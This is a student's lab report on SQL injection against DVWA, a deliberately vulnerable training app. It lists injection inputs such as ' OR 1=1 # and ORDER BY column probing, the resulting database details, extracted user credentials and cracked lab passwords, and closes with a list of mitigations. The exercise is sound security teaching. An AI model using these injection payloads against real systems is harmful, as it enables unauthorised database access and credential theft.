

## Intelligence Artificielle et Génie Informatique – 1

### - Cybersécurité -

# TP 2: SQL Injection Attacks

👨‍🎓 Student: Ikram Lamhamdi

**Instructor: Prof. Mouaad MOHY-EDDINE**

**Lab Topic: SQL Injection Attacks**

**Platform Used:** DVWA (Damn Vulnerable Web Application)

### Part 1: Exploit an SQL Injection Vulnerability on DVWA

**Step 1: Check DVWA to see if a SQL Injection Vulnerability is Present.**

**What happened:**

ID: ' OR 1=1 #

First name: admin

Surname: admin

ID: ' OR 1=1 #

First name: Gordon

Surname: Brown

ID: ' OR 1=1 #

First name: Hack

Surname: Me

ID: ' OR 1=1 #

First name: Pablo

Surname: Picasso

ID: ' OR 1=1 #  
First name: Bob  
Surname: Smith

### Step 3: Check for Number of Fields in the Query.

#### What happened:

ID: 1' ORDER BY 1 #  
First name: admin  
Surname: admin

ID: 1' ORDER BY 2 #  
First name: admin  
Surname: admin

ID: 1' ORDER BY 3 #

Unknown column '3' in 'order clause'

conclusion: This confirms that the original SQL query has **2 columns**.

### Step 4: Check for version Database Management System (DBMS).

#### What Does the last line mean:

ThisSurname: 5.5.58-0+deb8u1

it indicates the database is running **MySQL version 5.5.58**, packaged for **Debian 8** with patch level 1.

### Step 5: Determine the database name.

#### What Does the last line mean:

The SQL injection successfully revealed the name of the active database **dvwa**

### Step 6: Retrieve table Names from the dvwa database.

#### What are the two tables that were found?

Answer:users  
guestbook

### Step 7: Retrieve column names from the users table.

Answer: users

guestbook

## Step 8: Retrieve the user credentials.

b- Answer: I guess admin account is the most valuable in pentest because it can have the whole control.

c- Answer: user\_id is number while user is the username.

## Step 9: Hack the password hashes.

b- Answer: password

What is the password for the user pablo?

c-Answer: letmein

## Part 2: Research SQL Injection Mitigation:

1. **Use Prepared Statements (Parameterized Queries)** Prevents direct insertion of user input into SQL queries. Ensures input is treated as data, not executable code.
2. **Input Validation and Sanitization** Validate all user inputs (e.g., numbers, emails). Sanitize or reject unexpected characters like ', --, ;, etc.
3. **Stored Procedures (with Caution)** Encapsulate SQL logic inside the database. Can reduce injection risk if dynamic SQL is avoided.
4. **Least Privilege Principle** The database account used by the application should have only the necessary permissions. Avoid using root or admin-level accounts.
5. **Error Handling** Do not expose raw SQL errors to users. Use generic error messages and log detailed errors internally.
6. **Web Application Firewalls (WAF)** Detect and block common SQL injection patterns. Adds an extra layer of protection.
7. **Regular Security Testing** Perform vulnerability scans and penetration tests. Keep frameworks, libraries, and DBMS up to date